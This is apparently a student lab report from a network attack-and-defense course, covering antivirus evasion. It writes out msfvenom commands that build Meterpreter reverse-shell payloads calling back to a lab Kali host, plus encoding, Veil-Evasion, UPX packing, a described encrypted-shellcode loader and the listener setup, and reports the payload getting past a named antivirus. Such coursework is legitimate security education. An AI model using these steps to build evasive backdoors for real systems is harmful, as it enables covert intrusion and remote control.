20222311 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验要求

  • 掌握免杀原理与技术
  • 回答问题

(1)杀软是如何检测出恶意代码的?

  • 特征码检测:杀毒软件拥有一个特征库,通过比对程序代码是否与库中的特征码匹配来判断某段代码是否属于病毒。这种方法非常精确,但扫描效率较低,且难以应对病毒变种
  • 启发式恶意软件检测:如果程序的特征和行为与病毒程序类似,且匹配程度达到一定值,就可以认为该程序是病毒程序。这种方法不完全依赖于已知病毒的特征库,而是尝试识别新的或变种的恶意软件
  • 基于行为检测:通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能。如果出现恶意行为,则属于恶意代码
  • 动态分析:利用虚拟机或沙箱执行待测程序,监控并收集程序运行时显现的行为特征,并根据这些较为高级的特征数据实现恶意代码的分类。行为特征主要包括文件操作、注册表操作、动态链接库加载、进程访问、系统服务行为、网络访问请求和API调用等
  • 签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码
  • 行为分析:杀软监控程序的行为,包括对文件、网络、系统资源的访问和修改。如果软件的行为模式与已知的恶意行为模式匹配,则可能被判定为恶意软件
  • 沙箱执行:在一个隔离的环境(沙箱)中执行程序,分析其行为,从而不对实际系统造成影响。如果程序在沙箱中表现出恶意行为,那么它就可能被识别为恶意软件
  • 云检测:借助云计算技术,杀软可以迅速分析大量数据,识别新出现的恶意软件。这种方法可以有效地提高检测的速度和准确性

(2)免杀是做什么?

免杀技术,即反病毒与反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的技术。它通过各种手段规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。这种技术不仅用于恶意软件的传播,也被信息安全研究人员用来测试和提升安全防护系统的能力。

(3)免杀的基本方法有哪些?

  • 自编码免杀:通过使用不同的编码器对恶意代码进行编码,以改变其特征码,从而避免被杀毒软件识别。例如,使用msfvenom工具配合不同的编码器进行多次编码,以增加检测难度
  • 自捆绑免杀:将恶意代码与一个合法的可执行文件捆绑在一起,这样在运行时,杀毒软件可能会因为捆绑的合法文件而放过恶意代码。例如,使用msfvenom的-x参数将payload嵌入到一个自定义的可执行文件中
  • 自捆绑+编码免杀:结合自捆绑和编码技术,既改变恶意代码的外部特征,也改变其内部结构,以提高免杀效果
  • 多重编码+捆绑免杀:使用多重编码技术对payload进行编码,并通过捆绑技术将其嵌入到合法的可执行文件中,以增加混淆度和免杀效果
  • 静态免杀方法:
    MYCCL查找特征码修改:使用MYCCL工具查找恶意代码的特征码,并对其进行修改,以避免被杀毒软件识别。
    对shellcode进行加密编码:对恶意代码中的shellcode进行加密或编码,以改变其特征,避免被静态分析工具检测
  • 动态查杀(主动防御)绕过:针对杀毒软件的动态查杀技术,通过各种手段绕过其检测,例如通过模拟正常行为或使用反调试技术
  • 启发式扫描绕过:面对未知的病毒,通过改变代码结构或行为模式,以避免被启发式扫描算法识别

3.实验过程
任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 使用msfvenom生成jar等文件。

  • 查看 msfvenom 支持的所有输出格式:输入msfvenom --list formats;

  • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=8888 -f exe > 20222311wsh.exe,生成payload;

  • -p windows/meterpreter/reverse_tcp:指定了要生成的 payload 类型,是一个 Meterpreter 反向 TCP 连接;

  • LHOST=192.168.1.108设置了连接回的本地 IP 地址,即kali虚拟机的 IP 地址;

  • LPORT=8888设置了连接回的本地端口号;

  • -f exe: 这指定了输出格式为 Windows 可执行文件;

  • 查看 msfvenom 支持的所有编码方式:输入msfvenom --list encoders;

  • 使用编码器对payload进行编码,输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.108 LPORT=8888 -f exe > 20222311wsh-2.exe

  • -e x86/shikata_ga_nai: 这指定了要使用的编码器;

  • -b ‘\x00’: 这指定了需要避免的坏字符集;

  • LHOST、LPORT同上;

  • 多次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.108 LPORT=8888 -f exe > 20222311wsh-3.exe;
    -i 10表示编码10次;

  • 选择一个适用于Java环境的payload来生成jar文件:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=8888 -f jar > 20222311wsh-4.jar;

  • 使用编码器对payload进行编码:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=8888 -e x86/shikata_ga_nai -i 10 -f jar > 20222311wsh-5.jar;

  • 生成一个反向 TCP 连接的 Linux elf 可执行文件:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=8888 -f elf >20222311wsh-6.elf.

  • 使用编码器对payload进行编码:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=8888 -e x86/shikata_ga_nai -i 10 -f elf > 20222311wsh-7.elf

  • 将虚拟机中的文件传到主机上
    ncat.exe -lv 8888 > "C:\Users\Petrichor\Desktop\20222311wsh.exe
    nc 192.168.1.106 8888 < 20222311wsh.exe

  • 打开VirusTotal的链接https://www.virustotal.com/gui/home/upload,放入文件,使用VirusTotal进行检测;
    20222311wsh.exe

    20222311wsh-2.exe

    20222311wsh-3.exe

    20222311wsh-4.jar

    20222311wsh-5.jar

    20222311wsh-6.elf

    20222311wsh-7.elf

  • 使用veil工具
    安装veil,需要保持虚拟机是联网状态,依次输入以下命令:
    mkdir -p ~/.cache/wine
    cd ~/.cache/wine
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi


    sudo apt-get install libncurses5*
    sudo apt-get install libavutil55*
    sudo apt-get install gcc-mingw-w64*
    sudo apt-get install wine32
    当输入完sudo apt-get install wine32后报错,此时先输入dpkg --add-architecture i386,再输入sudo apt-get update,然后输入sudo apt-get install wine32即可;




    再依次输入:
    apt-get install veil ——安装veil
    sudo su
    cd /usr/share/veil/config/


    再输入vim setup.sh
    在第200多行的代码中,找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出;

    运行veil进行安装;

    过程中可能需要安装多个程序,一路默认安装即可;
    完成安装

    输入use evasion ,进入Evil—Evasion;

    输入list,查看可使用的payload类型;

    使用c/meterpretermrev_tcp.py,即7号,所以输入use 7;

    先看下虚拟机ip地址

    依次输入命令
    set LHOST 192.168.1.108
    set LPORT 8888
    generate

    把生成的文件命名为V20222311
    对V20222311.exe进行检测

  • 加壳处理来试图实现免杀
    压缩加壳
      输入指令upx 20222311wsh.exe -o 20222311wsh_upx.exe,对后门文件进行压缩加壳,生成文件20222311wsh_upx.exe。


    将20222311wsh_upx.exe上传至VirusTotal检测

任务2:通过组合应用各种技术实现恶意代码免杀

kali虚拟机中通过msfvenom生成Shellcode数组,代码如下msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=8888 -f c;

将buf[]中的内容复制,新建666.cpp文件,输入代码,代码功能为将复制内容放入shellcode[]数组中,通过代码将shellcode进行凯撒加密,将密文输入到20222311.txt文件中
代码如下


运行结束后,20222311.txt内容如下

新建666.2.cpp文件,输入代码,代码功能为读取20222311.txt文件中的内容到shellcode[]数组中,并进行解密,再运行shellcode;
代码如下:

将两个exe文件放在桌面且运行发现可以与杀软共生,但是在运行时依旧会跳出提示存在安全危险是否信任,成功免杀的原因是因为使用了代码混淆和加密技术导致杀软无法识别。

杀软为火绒安全软件,版本为5.0.75.16

任务三:用电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在kali中使用msfconsole指令进入msf控制台,对msf控制台进行配置;
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.108
set LPORT 8888
输入run;

在主机运行666.2.exe,返回到kali,输入sysinfo,查看版本

4.问题及解决方案

  • 问题1:安装veil失败
    解决方案:第一次失败是因为veil下载到一半宿舍断电了,导致虚拟机无法继续下载,只能重装虚拟机。第二次失败是因为分配的空间不够,我还是重装了虚拟机。
  • 问题2:在把下载地址换成https://gitee.com/spears/VeilDependencies.git时,我不小心多删除了一个引号,导致后续veil无法安装
    解决方案:我对照网上别人的修改截图,仔细检查发现了这个问题,修改完成后不再报错。
  • 问题3:使用hyperion加壳工具是会产生报错:ShellExecuteEx failed: File not found 或者XXX not found
    解决方案:我发现我输入这段代码时没有进入到文件所在目录,进入文件所在目录就可以正常运行。

5.心得体会

  • 在进行网络攻防技术的实验中,我深刻体会到了免杀技术的重要性和复杂性。通过实践,我学会了如何使用msf编码器、veil-evasion等工具来生成不同格式的文件,如jar文件,以及如何通过加壳技术来隐藏恶意代码的真实意图。这些工具和技巧让我能够更深入地理解恶意代码是如何逃避杀毒软件检测的。

  • 在实验过程中,我尝试了多种技术组合,包括编码、加壳、混淆等,以实现恶意代码的免杀。这些技术的原理主要是通过改变恶意代码的外观和行为,使其在杀毒软件的静态和动态分析中不被发现。例如,通过编码器对shellcode进行多次编码,可以改变其特征码,使得杀毒软件难以识别;而加壳工具则可以在不改变代码功能的前提下,对代码进行封装,增加检测难度。

  • 在实验的最后阶段,我在另一台电脑上进行了实际测试。在杀毒软件开启的情况下,我生成的恶意代码能够成功运行并回连。这验证了我的免杀技术是有效的。

  • 通过这次实验,我不仅提高了自己的技术能力,也对网络安全有了更深的认识。我意识到,随着技术的发展,攻防双方的对抗也在不断升级。作为网络空间安全专业的学生,我们需要不断学习新的技术和方法,以应对日益复杂的网络威胁。这次实验不仅让我掌握了免杀技术,也让我更加警惕网络安全的重要性。

posted @ 2024-10-31 11:33  Petrichor666  阅读(20)  评论(0编辑  收藏  举报